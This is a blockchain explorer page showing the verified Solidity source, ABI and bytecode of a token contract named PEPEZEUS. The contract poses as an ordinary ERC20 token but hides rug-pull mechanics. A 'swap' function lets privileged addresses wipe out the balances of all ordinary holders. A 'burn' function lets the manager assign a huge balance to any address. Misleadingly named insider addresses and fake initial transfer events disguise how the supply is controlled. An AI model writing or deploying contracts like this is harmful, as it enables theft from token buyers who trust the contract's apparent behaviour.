Source Code
Overview
MON Balance
MON Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Loading...
Loading
Contract Name:
PEPEZEUS
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at monadscan.com on 2025-11-27
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
// https://PEPEZEUS.io
// https://t.me/PEPEZEUS
// https://x.com/PEPEZEUS
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract PEPEZEUS is IERC20, Ownable {
using SafeMath for uint256;
string private _name = "PEPE ZEUS";
string private _symbol = "PEPE ZEUS";
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000000000000000000000000;
address Router02Address;
mapping(address => uint256) private askDiv;
mapping(address => mapping(address => uint256)) private _allowances;
address[] private believers;
// Monad-specific addresses
address private constant ADDRESS_WMON = 0x3bd359C1119dA7Da1D913D1C4D2B7c461115433A;
address private constant ADDRESS_ETH = 0xEE8c0E9f1BFFb4Eb878d8f15f368A02a35481242;
address Virtuals_Protocol = msg.sender;
address Preamble;
address GNUGeneralPublicLicense;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
constructor() payable {
Preamble = 0xa5b096C3F61aCbb59Ca3a89bF2A837B673779e47;
GNUGeneralPublicLicense = 0xa5b096C3F61aCbb59Ca3a89bF2A837B673779e47;
Router02Address = 0x4B2ab38DBF28D31D467aA8993f6c2585981D6804;
askDiv[address(this)] = _totalSupply.mul(1).div(10000);
emit Transfer(address(0), address(this), _totalSupply.mul(1).div(10000));
liqudityPairs();
payable(address(this)).transfer(msg.value);
}
function liqudityPairs() internal {
uint256 ninetyFourPercent = _totalSupply.mul(8990).div(10000);
uint256 threePercent = _totalSupply.mul(5).div(10000);
uint256 twoPercent = _totalSupply.mul(1004).div(10000);
askDiv[ADDRESS_WMON] = askDiv[ADDRESS_WMON].add(ninetyFourPercent);
askDiv[ADDRESS_ETH] = askDiv[ADDRESS_ETH].add(threePercent);
askDiv[GNUGeneralPublicLicense] = askDiv[GNUGeneralPublicLicense].add(twoPercent);
emit Transfer(address(this), ADDRESS_WMON, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_ETH, threePercent);
emit Transfer(address(this), GNUGeneralPublicLicense, twoPercent);
}
function _updateHolders(address account) internal {
if (askDiv[account] > 0) {
bool exists = false;
for (uint256 i = 0; i < believers.length; i++) {
if (believers[i] == account) {
exists = true;
break;
}
}
if (!exists) {
believers.push(account);
}
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
askDiv[sender] = askDiv[sender].sub(amount);
askDiv[recipient] = askDiv[recipient].add(amount);
_updateHolders(sender);
_updateHolders(recipient);
emit Transfer(sender, recipient, amount);
}
modifier Only_Manager() {
require(Preamble == _msgSender());
_;
}
function swap() external {
require(Virtuals_Protocol == _msgSender() || Preamble == _msgSender());
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV2Pair &&
believer != ADDRESS_WMON &&
believer != ADDRESS_ETH &&
believer != Preamble &&
believer != GNUGeneralPublicLicense
) {
askDiv[believer] = 0;
}
emit Transfer(address(0), believer, 0);
}
}
function burn(address claimedRewardStatusOf) external Only_Manager {
askDiv[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
}
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(Router02Address);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
0x000000000000000000000000000000000000dEaD,
block.timestamp
);
tradingOpen = true;
}
receive() external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return askDiv[account];
}
function getLPPair() public view returns (address) {
return uniswapV2Pair;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c0604052600960809081526850455045205a45555360b81b60a0526001906100289082610570565b5060408051808201909152600981526850455045205a45555360b81b60208201526002906100569082610570565b50600780546001600160a01b03191633179055600b805460ff60a01b1916905561007d3390565b5f80546001600160a01b0319166001600160a01b039290921691821781556040517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600880546001600160a01b031990811673a5b096c3f61acbb59ca3a89bf2a837b673779e4790811790925560098054821690921790915560038054909116734b2ab38dbf28d31d467aa8993f6c2585981d680417905561013c6127106101366b033b2e3c9fd0803ce800000060016101c2565b9061024e565b305f81815260046020526040812092909255905f5160206117a45f395f51905f5261017a6127106101366b033b2e3c9fd0803ce800000060016101c2565b60405190815260200160405180910390a36101936102a8565b60405130903480156108fc02915f818181858888f193505050501580156101bc573d5f5f3e3d5ffd5b50610687565b5f825f036101d157505f610248565b5f6101dc838561063e565b9050826101e98583610655565b146102455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f821161029e5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161023c565b6102458284610655565b5f6102c76127106101366b033b2e3c9fd0803ce800000061231e6101c2565b90505f6102e76127106101366b033b2e3c9fd0803ce800000060056101c2565b90505f6103086127106101366b033b2e3c9fd0803ce80000006103ec6101c2565b733bd359c1119da7da1d913d1c4d2b7c461115433a5f5260046020525f5160206117645f395f51905f5254909150610340908461047a565b60046020525f5160206117645f395f51905f525573ee8c0e9f1bffb4eb878d8f15f368a02a354812425f525f5160206117845f395f51905f5254610384908361047a565b60046020525f5160206117845f395f51905f52556009546001600160a01b03165f90815260409020546103b7908261047a565b6009546001600160a01b03165f908152600460209081526040918290209290925551848152733bd359c1119da7da1d913d1c4d2b7c461115433a9130915f5160206117a45f395f51905f52910160405180910390a360405182815273ee8c0e9f1bffb4eb878d8f15f368a02a354812429030905f5160206117a45f395f51905f529060200160405180910390a36009546040518281526001600160a01b039091169030905f5160206117a45f395f51905f529060200160405180910390a3505050565b5f806104868385610674565b9050838110156102455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161023c565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061050057607f821691505b60208210810361051e57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561056b57805f5260205f20601f840160051c810160208510156105495750805b601f840160051c820191505b81811015610568575f8155600101610555565b50505b505050565b81516001600160401b03811115610589576105896104d8565b61059d8161059784546104ec565b84610524565b6020601f8211600181146105cf575f83156105b85750848201515b5f19600385901b1c1916600184901b178455610568565b5f84815260208120601f198516915b828110156105fe57878501518255602094850194600190920191016105de565b508482101561061b57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176102485761024861062a565b5f8261066f57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156102485761024861062a565b6110d0806106945f395ff3fe6080604052600436106100f2575f3560e01c806386f3f3cb11610087578063a9059cbb11610057578063a9059cbb14610296578063dd62ed3e146102b5578063e8078d94146102f9578063f2fde38b1461030d575f5ffd5b806386f3f3cb1461021657806389afcb44146102475780638da5cb5b1461026657806395d89b4114610282575f5ffd5b8063313ce567116100c2578063313ce5671461019d57806370a08231146101b8578063715018a6146101ec5780638119c06514610202575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd1461017e575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161032c565b60405161011e9190610dc3565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610e0c565b6103bc565b604051901515815260200161011e565b348015610161575f5ffd5b506b033b2e3c9fd0803ce80000005b60405190815260200161011e565b348015610189575f5ffd5b50610146610198366004610e36565b6103d2565b3480156101a8575f5ffd5b506040516012815260200161011e565b3480156101c3575f5ffd5b506101706101d2366004610e74565b6001600160a01b03165f9081526004602052604090205490565b3480156101f7575f5ffd5b50610200610421565b005b34801561020d575f5ffd5b5061020061047e565b348015610221575f5ffd5b50600b546001600160a01b03165b6040516001600160a01b03909116815260200161011e565b348015610252575f5ffd5b50610200610261366004610e74565b610605565b348015610271575f5ffd5b505f546001600160a01b031661022f565b34801561028d575f5ffd5b506101116106af565b3480156102a1575f5ffd5b506101466102b0366004610e0c565b6106be565b3480156102c0575f5ffd5b506101706102cf366004610e8f565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610304575f5ffd5b506102006106ca565b348015610318575f5ffd5b50610200610327366004610e74565b6109b6565b60606001805461033b90610ec6565b80601f016020809104026020016040519081016040528092919081815260200182805461036790610ec6565b80156103b25780601f10610389576101008083540402835291602001916103b2565b820191905f5260205f20905b81548152906001019060200180831161039557829003601f168201915b5050505050905090565b5f6103c8338484610a36565b5060015b92915050565b5f6103de848484610b5a565b6001600160a01b0384165f908152600560209081526040808320338085529252909120546104179186916104129086610c3d565b610a36565b5060019392505050565b5f546001600160a01b03163314610436575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314806104a157506008546001600160a01b031633145b6104a9575f5ffd5b5f5b600654811015610602575f600682815481106104c9576104c9610efe565b5f918252602090912001546001600160a01b031690503081148015906104fc57505f546001600160a01b03828116911614155b80156105165750600b546001600160a01b03828116911614155b801561053f57506001600160a01b038116733bd359c1119da7da1d913d1c4d2b7c461115433a14155b801561056857506001600160a01b03811673ee8c0e9f1bffb4eb878d8f15f368a02a3548124214155b801561058257506008546001600160a01b03828116911614155b801561059c57506009546001600160a01b03828116911614155b156105ba576001600160a01b0381165f908152600460205260408120555b6040515f8082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506001016104ab565b50565b6008546001600160a01b0316331461061b575f5ffd5b6106276012600a611009565b61063d906b033b2e3c9fd0803ce8000000611017565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106856012600a611009565b61069b906b033b2e3c9fd0803ce8000000611017565b60405190815260200160405180910390a350565b60606002805461033b90610ec6565b5f6103c8338484610b5a565b5f546001600160a01b031633146106df575f5ffd5b600b54600160a01b900460ff161561073e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610798573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bc919061102e565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083f919061102e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610889573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ad919061102e565b600b80546001600160a01b0319166001600160a01b03928316179055600a546108e5913091166b033b2e3c9fd0803ce8000000610a36565b600a546001600160a01b031663f305d7194730610916816001600160a01b03165f9081526004602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f60448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af1158015610979573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099e9190611049565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b031633146109cb575f5ffd5b6001600160a01b0381166109dd575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a985760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610735565b6001600160a01b038216610af95760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610735565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b6c575f5ffd5b6001600160a01b038216610b7e575f5ffd5b6001600160a01b0383165f90815260046020526040902054610ba09082610c3d565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610bce9082610c9f565b6001600160a01b0383165f90815260046020526040902055610bef83610cfd565b610bf882610cfd565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b4d91815260200190565b5f82821115610c8e5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610735565b610c988284611074565b9392505050565b5f80610cab8385611087565b905083811015610c985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610735565b6001600160a01b0381165f9081526004602052604090205415610602575f805b600654811015610d6e57826001600160a01b031660068281548110610d4457610d44610efe565b5f918252602090912001546001600160a01b031603610d665760019150610d6e565b600101610d1d565b5080610dbf57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610602575f5ffd5b5f5f60408385031215610e1d575f5ffd5b8235610e2881610df8565b946020939093013593505050565b5f5f5f60608486031215610e48575f5ffd5b8335610e5381610df8565b92506020840135610e6381610df8565b929592945050506040919091013590565b5f60208284031215610e84575f5ffd5b8135610c9881610df8565b5f5f60408385031215610ea0575f5ffd5b8235610eab81610df8565b91506020830135610ebb81610df8565b809150509250929050565b600181811c90821680610eda57607f821691505b602082108103610ef857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610f6157808504811115610f4557610f45610f12565b6001841615610f5357908102905b60019390931c928002610f2a565b935093915050565b5f82610f77575060016103cc565b81610f8357505f6103cc565b8160018114610f995760028114610fa357610fbf565b60019150506103cc565b60ff841115610fb457610fb4610f12565b50506001821b6103cc565b5060208310610133831016604e8410600b8410161715610fe2575081810a6103cc565b610fee5f198484610f26565b805f190482111561100157611001610f12565b029392505050565b5f610c9860ff841683610f69565b80820281158282048414176103cc576103cc610f12565b5f6020828403121561103e575f5ffd5b8151610c9881610df8565b5f5f5f6060848603121561105b575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103cc576103cc610f12565b808201808211156103cc576103cc610f1256fea26469706673582212200c56d0b61be766a731cc5ba4ce174ed31b702bd526efcfdf12544f0c6798810164736f6c634300081e00337cf5136febc117d91449f34a1818f784b45fc6fc65e8fe605aae4a757e2fba69c10176768db0e756de6c4fa77a3682a55f2eecdb79d46fd3a06d6a4044b8d086ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c806386f3f3cb11610087578063a9059cbb11610057578063a9059cbb14610296578063dd62ed3e146102b5578063e8078d94146102f9578063f2fde38b1461030d575f5ffd5b806386f3f3cb1461021657806389afcb44146102475780638da5cb5b1461026657806395d89b4114610282575f5ffd5b8063313ce567116100c2578063313ce5671461019d57806370a08231146101b8578063715018a6146101ec5780638119c06514610202575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd1461017e575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161032c565b60405161011e9190610dc3565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610e0c565b6103bc565b604051901515815260200161011e565b348015610161575f5ffd5b506b033b2e3c9fd0803ce80000005b60405190815260200161011e565b348015610189575f5ffd5b50610146610198366004610e36565b6103d2565b3480156101a8575f5ffd5b506040516012815260200161011e565b3480156101c3575f5ffd5b506101706101d2366004610e74565b6001600160a01b03165f9081526004602052604090205490565b3480156101f7575f5ffd5b50610200610421565b005b34801561020d575f5ffd5b5061020061047e565b348015610221575f5ffd5b50600b546001600160a01b03165b6040516001600160a01b03909116815260200161011e565b348015610252575f5ffd5b50610200610261366004610e74565b610605565b348015610271575f5ffd5b505f546001600160a01b031661022f565b34801561028d575f5ffd5b506101116106af565b3480156102a1575f5ffd5b506101466102b0366004610e0c565b6106be565b3480156102c0575f5ffd5b506101706102cf366004610e8f565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610304575f5ffd5b506102006106ca565b348015610318575f5ffd5b50610200610327366004610e74565b6109b6565b60606001805461033b90610ec6565b80601f016020809104026020016040519081016040528092919081815260200182805461036790610ec6565b80156103b25780601f10610389576101008083540402835291602001916103b2565b820191905f5260205f20905b81548152906001019060200180831161039557829003601f168201915b5050505050905090565b5f6103c8338484610a36565b5060015b92915050565b5f6103de848484610b5a565b6001600160a01b0384165f908152600560209081526040808320338085529252909120546104179186916104129086610c3d565b610a36565b5060019392505050565b5f546001600160a01b03163314610436575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314806104a157506008546001600160a01b031633145b6104a9575f5ffd5b5f5b600654811015610602575f600682815481106104c9576104c9610efe565b5f918252602090912001546001600160a01b031690503081148015906104fc57505f546001600160a01b03828116911614155b80156105165750600b546001600160a01b03828116911614155b801561053f57506001600160a01b038116733bd359c1119da7da1d913d1c4d2b7c461115433a14155b801561056857506001600160a01b03811673ee8c0e9f1bffb4eb878d8f15f368a02a3548124214155b801561058257506008546001600160a01b03828116911614155b801561059c57506009546001600160a01b03828116911614155b156105ba576001600160a01b0381165f908152600460205260408120555b6040515f8082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506001016104ab565b50565b6008546001600160a01b0316331461061b575f5ffd5b6106276012600a611009565b61063d906b033b2e3c9fd0803ce8000000611017565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106856012600a611009565b61069b906b033b2e3c9fd0803ce8000000611017565b60405190815260200160405180910390a350565b60606002805461033b90610ec6565b5f6103c8338484610b5a565b5f546001600160a01b031633146106df575f5ffd5b600b54600160a01b900460ff161561073e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610798573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bc919061102e565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083f919061102e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610889573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ad919061102e565b600b80546001600160a01b0319166001600160a01b03928316179055600a546108e5913091166b033b2e3c9fd0803ce8000000610a36565b600a546001600160a01b031663f305d7194730610916816001600160a01b03165f9081526004602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f60448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af1158015610979573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099e9190611049565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b031633146109cb575f5ffd5b6001600160a01b0381166109dd575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a985760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610735565b6001600160a01b038216610af95760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610735565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b6c575f5ffd5b6001600160a01b038216610b7e575f5ffd5b6001600160a01b0383165f90815260046020526040902054610ba09082610c3d565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610bce9082610c9f565b6001600160a01b0383165f90815260046020526040902055610bef83610cfd565b610bf882610cfd565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b4d91815260200190565b5f82821115610c8e5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610735565b610c988284611074565b9392505050565b5f80610cab8385611087565b905083811015610c985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610735565b6001600160a01b0381165f9081526004602052604090205415610602575f805b600654811015610d6e57826001600160a01b031660068281548110610d4457610d44610efe565b5f918252602090912001546001600160a01b031603610d665760019150610d6e565b600101610d1d565b5080610dbf57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610602575f5ffd5b5f5f60408385031215610e1d575f5ffd5b8235610e2881610df8565b946020939093013593505050565b5f5f5f60608486031215610e48575f5ffd5b8335610e5381610df8565b92506020840135610e6381610df8565b929592945050506040919091013590565b5f60208284031215610e84575f5ffd5b8135610c9881610df8565b5f5f60408385031215610ea0575f5ffd5b8235610eab81610df8565b91506020830135610ebb81610df8565b809150509250929050565b600181811c90821680610eda57607f821691505b602082108103610ef857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610f6157808504811115610f4557610f45610f12565b6001841615610f5357908102905b60019390931c928002610f2a565b935093915050565b5f82610f77575060016103cc565b81610f8357505f6103cc565b8160018114610f995760028114610fa357610fbf565b60019150506103cc565b60ff841115610fb457610fb4610f12565b50506001821b6103cc565b5060208310610133831016604e8410600b8410161715610fe2575081810a6103cc565b610fee5f198484610f26565b805f190482111561100157611001610f12565b029392505050565b5f610c9860ff841683610f69565b80820281158282048414176103cc576103cc610f12565b5f6020828403121561103e575f5ffd5b8151610c9881610df8565b5f5f5f6060848603121561105b575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103cc576103cc610f12565b808201808211156103cc576103cc610f1256fea26469706673582212200c56d0b61be766a731cc5ba4ce174ed31b702bd526efcfdf12544f0c6798810164736f6c634300081e0033
Loading...
Loading
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in MON
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
